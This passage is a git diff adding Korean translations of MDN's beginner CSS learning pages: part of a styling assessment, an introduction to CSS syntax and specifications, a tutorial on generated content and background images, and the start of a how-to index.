+<p>나는 선택자, h1 및 h2 와 같은 스타일 요소를 혼합하여 사용했지만, 작업 제목 및 스타일을 위한 class 를 만들었습니다.</p>
+
+<p>CSS 를 사용하여 내가 사용한 속성 값을 변경하여 이 전기(biography) 의 모양을 변경하십시오.</p>
+
+<ol>
+ <li>CSS color 키워드인 <code>hotpink</code> 를 사용하여 h1 제목을 분홍색으로 만듭니다.</li>
+ <li>CSS color 키워드 <code>purple</code> 을 사용하는 10px 점선 {{cssxref("border-bottom")}} 을 제목으로 지정하십시오.</li>
+ <li>h2 제목을 기울임 꼴로 만듭니다.</li>
+ <li>연락처 세부 정보에 사용된 <code>ul</code> 에 {{cssxref("background-color")}} 를 <code>#eeeeee</code> 및 5px 의 단색 자주색 {{cssxref("border")}} 으로 만듭니다. {{cssxref("padding")}} 을 사용하여 콘텐츠를 테두리에서 밀어냅니다.</li>
+ <li>마우스를 가리키면 <code>green</code> 으로 만듭니다.</li>
+</ol>
+
+<p>이 이미지와 비슷한 결과가 나옵니다.</p>
+
+<p><img alt="Screenshot of how the example should look after completing the assessment." src="https://mdn.mozillademos.org/files/17035/learn-css-basics-assessment.png" style="height: 1199px; width: 1104px;"></p>
+
+<p>그런 다음 <a href="/en-US/docs/Web/CSS/Reference">MDN CSS 참조</a> 에서 이 페이지에 언급되지 않은 일부 속성을 찾아보고 시도해 보십시오!</p>
+
+<p>여기에 오답이 없다는 것을 기억하십시오 — 이 단계의 학습에서는 약간의 즐거움을 가질 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/biog.html", '100%', 1600)}} </p>
+
+<h2 id="평가_또는_추가_도움">평가 또는 추가 도움</h2>
+
+<p>작업을 평가하고 싶거나 작업이 정체되어 도움을 요청하려는 경우:</p>
+
+<ol>
+ <li>작업을 <a href="https://codepen.io/" rel="noopener">CodePen</a>, <a href="https://jsfiddle.net/" rel="noopener">jsFiddle</a> 또는 <a href="https://glitch.com/" rel="noopener">Glitch</a> 와 같은 온라인 공유 가능 편집기에 입력합니다.</li>
+ <li><a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN 토론 포럼 학습 카데고리</a> 에 평가 및  도움을 요청하는 게시물을 작성 하십시오. 게시물에는 다음이 포함되어야 합니다:
+  <ul>
+   <li>"CSS 첫 단계에 대한 평가가 필요했습니다" 와 같은 설명적인 제목입니다.</li>
+   <li>당신이 이미 시도한 내용 및 당신이 우리가 무엇을 하기를 원하는지에 대한 세부 사항 입니다. 예: 당신이 정체되어 있고 도움이 필요하거나 평가를 원하는지에 대한 세부사항들.</li>
+   <li>온라인 공유 가능 편집기 (위의 1 단계에서 언급한) 에서 평가하거나 도움이 필요한 예에 대한 링크입니다. 이것은 좋은 습관입니다 — 코드가 보이지 않으면 코딩에 문제가 있는 사람을 돕는 것이 매우 어렵습니다.</li>
+   <li>실제 작업 또는 평가 페이지에 대한 링크로 도움이 필요한 질문을 찾을 수 있습니다.</li>
+  </ul>
+ </li>
+</ol>
+
+<h2 id="다음은_뭐죠">다음은 뭐죠?</h2>
+
+<p>첫 번째 강의를 완료한 것을 축하합니다. 이제 CSS 에 대해 잘 이해하고 스타일 시트에서 발생하는 많은 부분을 이해할 수 있어야 합니다. 다음 강의인 <a href="/en-US/docs/Learn/CSS/Building_blocks">CSS building blocks</a> 에서는 여러 가지 주요 영역을 자세히 살펴보겠습니다.</p>
+
+<p>{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p>
+
+<h2 id="이번_강의에서는">이번 강의에서는</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/What_is_CSS">CSS 란 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">CSS 로 시작하기</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS 의 구조</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_works">CSS 작동 방식</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">새로운 지식을 사용하기</a></li>
+</ol>
diff --git a/files/ko/learn/css/first_steps/what_is_css/index.html b/files/ko/learn/css/first_steps/what_is_css/index.html
new file mode 100644
index 0000000000..8467bca311
--- /dev/null
+++ b/files/ko/learn/css/first_steps/what_is_css/index.html
@@ -0,0 +1,119 @@
+---
+title: CSS 란 무엇인가?
+slug: Learn/CSS/First_steps/What_is_CSS
+translation_of: Learn/CSS/First_steps/What_is_CSS
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}</div>
+
+<p class="summary"><strong>{{Glossary("CSS")}}</strong> (Cascading Style Sheets) 를 사용하면 멋진 웹 페이지를 만들 수 있지만, 어떻게 작동합니까? 이 기사에서는 간단한 구문 예제를 통해 CSS가 무엇인지 설명하고 언어에 대한 몇 가지 주요 용어를 다룹니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>컴퓨터 기본 활용 능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업</a> 에 대한 기본 지식 및 HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습)</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>CSS가 무엇인지 배우기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 단원에서는 HTML 이 무엇인지, 그리고 문서를 마크 업하는 데 사용되는 방법에 대해 설명했습니다. 이 문서는 웹 브라우저에서 읽을 수 있습니다. 제목은 일반 텍스트보다 크게 보이며, 단락은 줄바꿈이 되고 공백이 있습니다. 링크는 텍스트의 나머지 부분과 구분하기 위해 색상과 밑줄이 표시됩니다. 현재 보고 있는 것은 브라우저의 기본 스타일입니다. 페이지 작성자가 명시적인 스타일을 지정하지 않은 경우에도 기본적으로 읽을 수 있도록 브라우저가 HTML에 적용하는 매우 기본적인 스타일입니다.</p>
+
+<p><img alt="The default styles used by a browser" src="https://mdn.mozillademos.org/files/16493/html-example.png" style="border: 1px solid #cccccc; height: 594px; width: 1385px;"></p>
+
+<p>그러나, 모든 웹 사이트가 그렇게 보인다면 웹은 지루한 곳이 될 것입니다. CSS를 사용하면 브라우저에서 HTML 요소의 모양을 정확하게 제어하고 원하는 디자인을 사용하여 마크 업을 표시할 수 있습니다.</p>
+
+<h2 id="CSS_란_무엇입니까">CSS 란 무엇입니까?</h2>
+
+<p>앞에서 언급했듯이, CSS 는 사용자에게 문서를 표시하는 방법을 지정하는 언어입니다 — 스타일, 레이아웃 등.</p>
+
+<p><strong>문서</strong>는 일반적으로 마크 업 언어를 사용하여 구성된 텍스트 파일입니다 — {{Glossary("HTML")}} 이 가장 일반적인 마크 업 언어이지만, {{Glossary("SVG")}} 또는 {{Glossary("XML")}} 과 같은 다른 마크 업 언어를 사용할 수도 있습니다.</p>
+
+<p>사용자에게 문서를 <strong>제공 한다는 것</strong>은 대상이 사용 할 수 있는 형식으로 문서를 변환하는 것을 의미합니다. {{Glossary("browser","Browsers")}}, {{Glossary("Mozilla Firefox","Firefox")}}, {{Glossary("Google Chrome","Chrome")}} 또는 {{Glossary("Microsoft Edge","Edge")}} 는 컴퓨터 화면, 프로젝터 또는 프린터 등의 문서를 시각적으로 표시하도록 설계되었습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 브라우저는 {{Glossary("User agent","user agent")}} 라고도 하며, 기본적으로 컴퓨터 시스템 내부의 개인을 나타내는 컴퓨터 프로그램을 의미합니다. 브라우저는 CSS 에 대해 이야기 할 때, 우리가 생각하는 주요 유형의 user agent 이지만, 유일한 브라우저는 아닙니다. HTML 및 CSS 문서를 인쇄할 PDF로 변환하는 것과 같은 사용 가능한 다른 사용자 user agent 가 있습니다.</p>
+</div>
+
+<p>CSS 는 매우 기본적인 텍스트 문서 스타일링에 사용될 수 있습니다 — 예를 들어, 제목 및 링크의 <a href="/en-US/docs/Web/CSS/color_value">색상</a> 과 <a href="/en-US/docs/Web/CSS/font-size">크기</a> 변경. 또한, 레이아웃을 만드는 데 사용 할 수 있습니다 — 예를 들어, <a href="/en-US/docs/Web/CSS/Layout_cookbook/Column_layouts">단일 텍스트 열을 변환</a> (기본 콘텐츠 영역과 관련 정보에 대한 사이드 바가 있는 레이아웃으로) 하는 등 레이아웃을 만드는 데 사용 할 수 있습니다. <a href="/en-US/docs/Web/CSS/CSS_Animations">애니메이션</a> 과 같은 효과에도 사용 할 수 있습니다. 구체적인 예는 이 단락의 링크를 살펴 보십시오.</p>
+
+<h2 id="CSS_구문">CSS 구문</h2>
+
+<p>CSS 는 규칙 기반 언어입니다 — 웹 페이지의 특정 요소 또는 요소 그룹에 적용할 스타일 그룹을 지정하는 규칙을 정의합니다. 예를 들어 "내 페이지의 제목이 빨간색이며 큰 텍스트로 표시 되기를 원합니다."</p>
+
+<p>다음 코드는 위에서 설명한 스타일을 실행 하는 매우 간단한 CSS 규칙을 보여줍니다:</p>
+
+<pre class="brush: css">h1 {
+    color: red;
+    font-size: 5em;
+}</pre>
+
+<p>규칙은 {{Glossary("CSS Selector", "selector")}} 와 함께 열립니다. 스타일을 지정할 HTML 요소를 <em><strong>선택</strong> </em>합니다. 이 경우 level 1 제목 ({{htmlelement("h1")}}) 을 스타일링합니다.</p>
+
+<p>그런 다음 중괄호 <code>{ }</code> 가 있습니다. 그 안에는 <strong>속성</strong>과 <strong>값</strong> 쌍의 형태를 취하는 하나 이상의 <strong>선언</strong>이 있습니다.  각 쌍은 우리가 선택한 요소의 속성을 지정하고 속성에 부여할 값을 지정합니다.</p>
+
+<p>콜론 앞에는, 속성이 있고 콜론 뒤에는 값이 있습니다. CSS {{Glossary("property/CSS","properties")}} 는 지정되는 속성에 따라 허용되는 값이 다릅니다. 이 예제에서는 다양한 <a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units#Color">색상 값</a> 을 사용 할 수 있는 <code>color</code> 속성이 있습니다. 또한 <code>font-size</code> 속성도 있습니다. 이 속성은 다양한 <a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units#Numbers_lengths_and_percentages">크기 단위</a> 를 값으로 사용 할 수 있습니다.</p>
+
+<p>CSS 스타일 시트에는 여러 규칙이 하나씩 포함되어 있습니다.</p>
+
+<pre class="brush: css">h1 {
+    color: red;
+    font-size: 5em;
+}
+
+p {
+    color: black;
+}</pre>
+
+<p>일부 값은 빨리 배운다는 것을 알게 될 것이고, 반면에 다른 값은 여러분이 찾아야 할 것입니다. MDN 의 개별 속성 페이지는 잊었을 때 또는 값으로 사용 할 수 있는 다른 것을 알고자 할 때 속성과 해당 값을 빠르게 찾을 수 있는 방법을 제공합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: MDN <a href="/en-US/docs/Web/CSS/Reference">CSS 참조</a> 에 나열된 모든 CSS 속성 페이지 (다른 CSS 기능과 함께) 에 대한 링크를 찾을 수 있습니다.  또는, CSS 기능에 대한 자세한 정보를 찾아야 할 때 마다, 자주 사용하는 검색 엔진에서 "mdn <em>css-feature-name</em>" 을 검색하는 데 익숙해야 합니다. 예를 들어, "mdn color" 및 "mdn font-size" 를 검색해 보십시오!</p>
+</div>
+
+<h2 id="CSS_Modules">CSS Modules</h2>
+
+<p>CSS 를 사용하여 스타일을 지정할 수 있는 것이 너무 많으므로, 언어는 <em>module</em> 로 분류됩니다. MDN 을 탐색할 때 이러한 module 에 대한 참조가 표시되면, 많은 설명서 페이지가 특정 modul 을 중심으로 구성되어 있습니다. 예를 들어, <a href="/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders">배경 및 테두리</a> module 에 대한 MDN 참조를 통해 그 용도가 무엇이며, 그 용도에 포함된 다른 속성 및 기타 기능을 확인할 수 있습니다. 또한 기술을 정의하는 <em>CSS Specification</em> 에 대한 링크를 찾을 수 있습니다 (아래 참조).</p>
+
+<p>이 단계에서는 CSS 가 어떻게 구성되어 있는지에 대해 너무 걱정할 필요가 없지만, 예를 들어 특정 속성이 다른 유사한 것들 중에서 발견될 가능성이 높기 때문에, 동일한 specification 에 있을 수 있다는 것을 알고 있다면 정보를 쉽게 찾을 수 있습니다.</p>
+
+<p>구체적인 예를 들어, 배경 및 테두리 module 로 돌아가 보겠습니다 — 이 module 에서 <code><a href="/en-US/docs/Web/CSS/background-color">background-color</a></code> 및 <code><a href="/en-US/docs/Web/CSS/border-color">border-color</a></code> 속성을 정의하는 것이 논리적이라고 생각 할 수 있습니다. 당신이 옳을 겁니다.</p>
+
+<h3 id="CSS_Specifications">CSS Specifications</h3>
+
+<p>모든 웹 표준 기술 (HTML, CSS, JavaScript 등.) 은 표준 조직 ({{glossary("W3C")}}, {{glossary("WHATWG")}}, {{glossary("ECMA")}} 또는 {{glossary("Khronos")}} 와 같은) 이 게시한 specifications (또는 단순히 "specs") 이라는 거대한 문서로 정의됩니다. 이러한 기술의 작동 방식을 정확하게 정의하십시오.</p>
+
+<p>CSS 는 다르지 않습니다 — W3C 내에서 <a href="https://www.w3.org/Style/CSS/">CSS Working Group</a> 이라는 곳에서 개발 했습니다. 이 그룹은 브라우저 공급 업체 및 CSS 에 관심이 있는 다른 회사의 대표로 구성됩니다. 독립적인 목소리로 행동하는 <strong><em>초청된 전문가</em></strong>  로 알려진 다른 사람들도 있습니다. 그들은 회원 조직에 연결되어 있지 않습니다.</p>
+
+<p>새로운 CSS 기능은 CSS Working Group 에 의해 개발되거나 지정됩니다. 때로는 특정 브라우저가 일부 기능에 관심이 있기 때문에 웹 디자이너와 개발자가 기능을 요구하고, 때로는 실무 그룹 자체가 요구 사항을 식별했기 때문입니다. CSS 는 지속적으로 개발 중이며 새로운 기능을 사용할 수 있습니다. 그러나 CSS 의 중요한 점은 모든 사람이 오래된 웹 사이트를 망가뜨릴 수 있는 방식으로 변경하지 않도록 매우 열심히 노력한다는 것입니다. 현재 사용 가능한 제한된 CSS 를 사용하여 2000년에 구축된 웹 사이트는 여전히 브라우저에서 사용 할 수 있습니다!</p>
+
+<p>CSS 를 처음 첩하는 사람들은, CSS specs 이 압도적이라고 생각할 것입니다 — 웹 개발자가 CSS 를 이해하기 위해 읽는 것이 아니라 엔지니어가 user agents 의 기능에 대한 지원을 구현하는 데 사용하기 위한 것입니다. 많은 숙련된 개발자가 MDN 설명서나 기타 자습서를 참조하는 것이 좋습니다. 그러나 사용중인 CSS, 브라우저 지원 (아래 참조) 및 specs 간의 관계를 이해하고 존재한다는 것을 아는 것이 좋습니다.</p>
+
+<h2 id="브라우저_지원">브라우저 지원</h2>
+
+<p>CSS 가 지정되면 하나 이상의 브라우저가 이를 구현한 경우에만 웹 페이지를 개발하는 데 유용합니다.  이것은 CSS 파일의 명령을 화면에 출력할 수 있는 것으로 바꾸도록 코드가 작성되었음을 의미합니다. <a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_works">CSS 작동 방식</a> 수업에서 이것에 대해 자세히 살펴보겠습니다. 모든 브라우저가 동시에 기능을 구현하는 것은 드문 일이므로 일반적으로 일부 브라우저에서는 CSS 의 일부를 사용할 수 있고, 다른 브라우저에서는 사용할 수 없는 경우가 있습니다. 이러한 이유로, 구현 상태를 확인할 수 있는 것이 유용합니다. MDN 의 각 속성 페이지에서 관심있는 속성의 상태를 볼 수 있으므로 웹 사이트에서 해당 속성을 사용할 수 있는지 알 수 있습니다.</p>
+
+<p>다음은 CSS <code><a href="/en-US/docs/Web/CSS/font-family">font-family</a></code> 속성에 대한 데이터 차트입니다.</p>
+
+<p>{{Compat("css.properties.font-family")}}</p>
+
+<h2 id="다음은_뭐죠">다음은 뭐죠</h2>
+
+<p>CSS 가 무엇인지 이해했으니, 이제 <a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">CSS 시작하기</a> 로 넘어가서 CSS 를 직접 작성할 수 있습니다.</p>
+
+<p>{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}</p>
+
+<h2 id="이번_강의에서는">이번 강의에서는</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/What_is_CSS">CSS 란 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">CSS 로 시작하기</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS 의 구조</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_works">CSS 작동 방식</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">새로운 지식 사용</a></li>
+</ol>
diff --git a/files/ko/learn/css/howto/generated_content/index.html b/files/ko/learn/css/howto/generated_content/index.html
new file mode 100644
index 0000000000..216305f889
--- /dev/null
+++ b/files/ko/learn/css/howto/generated_content/index.html
@@ -0,0 +1,123 @@
+---
+title: 내용물
+slug: Learn/CSS/Howto/Generated_content
+translation_of: Learn/CSS/Howto/Generated_content
+---
+<p>{{ CSSTutorialTOC() }}</p>
+<div class="warning">
+  <strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/18)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+<p>{{ previousPage("/en-US/docs/CSS/Getting_Started/Color", "색상") }}<span class="seoSummary"><a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기</a> 안내서 9번째 장; 이번에는 CSS에서</span><span class="seoSummary">Document에 표시될 내용물을 추가 하는 </span><span class="seoSummary">방법을 알아보자. stylesheet를 수정해서 텍스트 내용과 이미지를 수정해 보자.</span></p>
+<h2 class="clearLeft" id="정보_내용물">정보: 내용물</h2>
+<p>CSS사용상의 가장 큰 장점은 document의 스타일과 내용물을 분리할 수 있도록 도와준다. 하지만 아직은 Document의 일부가 아니라 Stylesheet의 일부로서 존재해야 이치가 맞아 보이는 내용들도 있다.</p>
+<p>stylesheet에 놓여진 내용물(content)은 텍스트나 이미지로 구성될 수 있다. Document의 구조와 밀접하게 연결된 내용물(content)은 stylesheet에 명시 할수 있다.</p>
+<div class="tuto_details">
+  <div class="tuto_type">
+    좀더 자세히</div>
+  <p>stylesheet에 내용물(content)을 표시하는 것은 복잡한 문제를 발생 시킬 수도 있다. 예를 들면, 동일한 stylesheet를 사용하는 여러 언어를 지원하는 Document의 경우이다. 만약 stylesheet일 일부분이 번역되어야 하는 경우가 있다면 이 부분은 stylesheet와는 분리된 파일로 저장하고 Document 언어에 맞는 파일이 연결 되도록 할당 해야 한다.</p>
+  <p>이미지나 심볼 혹은 모든 언어나 문화에 공통으로 사용되는 것을 쓴다면 이러한 문제는 발생하지 않는다.</p>
+  <p>stylesheet에 작성된 내용물(Content)은 DOM의 일부가 될 수는 없다.</p>
+</div>
+<h3 id="텍스트_내용물">텍스트 내용물</h3>
+<p>CSS는 element 전후로 텍스트 내용물을 넣을 수 있다. 이를 위해서는, 규칙을 만들고 {{ cssxref(":before") }}나 {{ cssxref(":after") }}를 구분자로 넣고 여기에 추가 하라. 선언부에 {{ cssxref("content") }}속성선언과 그 값으로 텍스트를 추가 하라.</p>
+<div class="tuto_example">
+  <div class="tuto_type">
+    예제</div>
+  <p>이 규칙은 모든 'ref' class element 앞에  <span style="font-weight: bold; color: navy;">'Reference :'</span>텍스트를 추가 한다.</p>
+  <pre class="brush:css">.ref:before {
+  font-weight: bold;
+  color: navy;
+  content: "Reference: ";
+}
+</pre>
+</div>
+<div class="tuto_details">
+  <div class="tuto_type">
+    좀더 자세히</div>
+  <p>stylesheet의 코드셋은 UTF-8이 기본이다. 그러나 링크 내나 stylesheet내 혹은 다른 방법으로 코드셋을 설정 할 수 있다. CSS 사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#q23">4.4 CSS style sheet representation</a>를 참고 하라.</p>
+  <p>독특한 캐릭터도 백슬레쉬(\)와 함께 사용하는 escape 표시법으로 사용 할 수 있다. 예를 들어 \256B는 블랙퀸 체스 심볼(♛)이다. 좀더 자세히는 CSS 사양서의  <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#q24">문자열 코드표에 없는 문자열 참조</a>나 CSS 사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#q6">Characters and case</a>를 참고하라.</p>
+</div>
+<h3 id="이미지_내용물">이미지 내용물</h3>
+<p>element 전/후로 이미지를 추가 하려면, {{ cssxref("content") }}속성에 이미지의 URL을 넣어라.</p>
+<div class="tuto_example">
+  <div class="tuto_type">
+    예제</div>
+  <p>이 규칙은 <code>'glossary</code>' class 다음에 공백과 하나의 아이콘을 추가한다.</p>
+  <pre class="brush:css">a.glossary:after {content: " " url("../images/glossary-icon.gif");}
+</pre>
+</div>
+<p>element의 배경으로 이미지를 추가 하고자 한다면, {{ cssxref("background") }}속성 값에 이미지의 URL을 할당 하라. 이것이 배경색이나, 이미지를 설정하거나, 이미지를 반복하거나 혹은 다른 사항을 설정하는 단순한 방법이다.</p>
+<div class="tuto_example">
+  <div class="tuto_type">
+    예제</div>
+  <p>이 규칙은 특정 element의 배경을 이미지 URL로 지정 하는 것이다.</p>
+  <p>이 설렉터느 element의 id를 나타낸다. <code>'no-repeat'</code> 값은 이미지가 한번만 나타나는 것을 말한다.</p>
+  <pre class="brush:css">#sidebar-box {background: url("../images/sidebar-ground.png") no-repeat;}
+</pre>
+</div>
+<div class="tuto_details">
+  <div class="tuto_type">
+    좀더 자세히</div>
+  <p>배경설정에 관한 특별한 속성이나 이미지 설정 옵션에 관한 자세한 정보는 {{ cssxref("background") }} 참조 페이지를 보라.</p>
+</div>
+<h2 id="액션_배경_이미지_추가_하기">액션: 배경 이미지 추가 하기</h2>
+<p>이 이미지는 아래쪽에 파란색 줄이 있는 흰사각형이다.:</p>
+<table style="border: 2px solid #ccc;">
+  <tbody>
+    <tr>
+      <td><img alt="Image:Blue-rule.png" class="internal" src="/@api/deki/files/47/=Blue-rule.png"></td>
+    </tr>
+  </tbody>
+</table>
+<ol>
+  <li>이 이미지를 다운 받아 예제파일들이 있는 폴더에 저장하라. (이미지에서 왼쪽 클릭을 하여 나타나는 메뉴에서 "다른 이름으로 사진저장"을 선택하여 예제가 있는 폴더를 선택하여 저장)</li>
+  <li>CSS파일을 열어 아래 규칙을 body부분에 추가 하여 전체 배경으로 해당 이미지를 설정하라.
+    <pre class="brush:css">background: url("Blue-rule.png");
+</pre>
+    <p>일단 위의 값은 이미지를 반복적으로 보여주는데, 기본 설정이므로 따로 표시 해 줄 필요는 없다. 이미지는 수직/수평적으로 반복되어 아래와 같이 편지지 같은 화면을 제공한다.</p>
+    <div style="position: relative; width: 24em; height: 11em; border: 2px outset #36b; overflow: hidden;">
+      <p style="margin: 0px;"><img alt="Image:Blue-rule-ground.png" class="internal" src="/@api/deki/files/46/=Blue-rule-ground.png"></p>
+      <div style="position: absolute; top: 0px; left: 0px; border: none; margin: 0px; padding: .5em 0px 0px 1em; font: 16px 'Comic Sams MS', cursive; color: blue; background-color: transparent;">
+        <div style="font-style: italic; width: 24em;">
+          <p><strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>heets</p>
+        </div>
+        <div style="font-style: normal; padding-top: 2px; height: 8em;">
+          <p><strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>heets</p>
+        </div>
+      </div>
+    </div>
+  </li>
+</ol>
+<div class="tuto_example">
+  <div class="tuto_type">
+    도전</div>
+  <p>아래 아미지를 다운 받아보라.</p>
+  <table style="border: 2px solid #ccc;">
+    <tbody>
+      <tr>
+        <td><img alt="Image:Yellow-pin.png" class="internal" src="/@api/deki/files/490/=Yellow-pin.png"></td>
+      </tr>
+    </tbody>
+  </table>
+  <p>Stylesheet에 하나의 규칙을 추가 하여 아래와 같이 각라인 맨 앞에 나타나도록 하라.</p>
+  <div style="position: relative; width: 24em; height: 11em; border: 2px outset #36b; overflow: hidden;">
+    <p style="margin: 0px;"><img alt="Image:Blue-rule-ground.png" class="internal" src="/@api/deki/files/46/=Blue-rule-ground.png"></p>
+    <div style="position: absolute; top: 0px; left: 0px; border: none; margin: 0px; padding: .5em 0px 0px 1em; font: 16px 'Comic Sams MS', cursive; color: blue; background-color: transparent;">
+      <div style="font-style: italic; width: 24em; padding-top: 8px;">
+        <img alt="image:Yellow-pin.png" class="internal" src="/@api/deki/files/490/=Yellow-pin.png"> <strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>heets</div>
+      <div style="font-style: normal; padding-top: 12px; height: 8em;">
+        <img alt="image:Yellow-pin.png" class="internal" src="/@api/deki/files/490/=Yellow-pin.png"> <strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>heets</div>
+    </div>
+  </div>
+  <div class="tuto_details" id="tutochallenge">
+    <div class="tuto_type">
+      Possible solution</div>
+    <p>Add this rule to your stylesheet:</p>
+    <pre class="brush: css">p:before{
+  content: url("yellow-pin.png");
+}
+</pre>
+    <p> </p>
+    <a class="hideAnswer" href="#challenge">Hide solution</a></div>
+  <a href="#tutochallenge" title="Display a possible solution for the challenge">정답 확인.</a></div>
+<h2 id="다음에는">다음에는?</h2>
+<p>{{ nextPage("/en-US/docs/CSS/Getting_Started/Lists", "리스트") }}Stylesheet에 내용물을 추가 하는 일반 방법으로 리스트로 표기하는 방법이 있다. 다음장에는 <a href="/en-US/docs/CSS/Getting_Started/Lists" title="/en-US/docs/CSS/Getting_Started/Lists">specify style for 리스트 elements를 위한 스타일 표기법에 대해 알아보자.</a></p>
diff --git a/files/ko/learn/css/howto/index.html b/files/ko/learn/css/howto/index.html
new file mode 100644
index 0000000000..cd63db7d1a
--- /dev/null
+++ b/files/ko/learn/css/howto/index.html
@@ -0,0 +1,86 @@
+---
+title: 일반적인 CSS 문제 해결하기
+slug: Learn/CSS/Howto
+translation_of: Learn/CSS/Howto
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">다음 링크들은 일반적인 CSS 문제들에 대한 해결방법을 제공합니다.</p>
+
+<h2 id="일반적인_사례">일반적인 사례</h2>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Basics">Basics</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_to_apply_your_CSS_to_your_HTML">How to apply CSS to HTML</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Syntax#White_space">How to use whitespace in CSS</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Syntax#Comments">How to write comments in CSS</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Simple_selectors">How to select elements via element name, class or ID</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Attribute_selectors">How to select elements via attribute name and content</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Pseudo-classes">How to use pseudo-classes</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Pseudo-elements">How to use pseudo-elements</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Multiple_selectors_on_one_rule">How to apply multiple selectors to the same rule</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">How to specify colors in CSS</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Debugging_CSS#Inspecting_the_DOM_and_CSS">How to debug CSS in the browser</a></li>
+</ul>
+
+<h3 id="CSS_and_text">CSS and text</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">How to style text</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">How to customize a list of elements</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_text/Styling_links">How to style links</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_text/Fundamentals#Text_drop_shadows">How to add shadows to text</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Boxes_and_layouts">Boxes and layouts</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Box_properties">How to size CSS boxes</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Overflow">How to control overflowing content</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Background_clip">How to control the part of a CSS box that the background is drawn under</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">How do I define inline, block, and inline-block?</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Howto/create_fancy_boxes">How to create fancy boxes</a> (also see the <a href="/en-US/docs/Learn/CSS/Styling_boxes">Styling boxes</a> module, generally).</li>
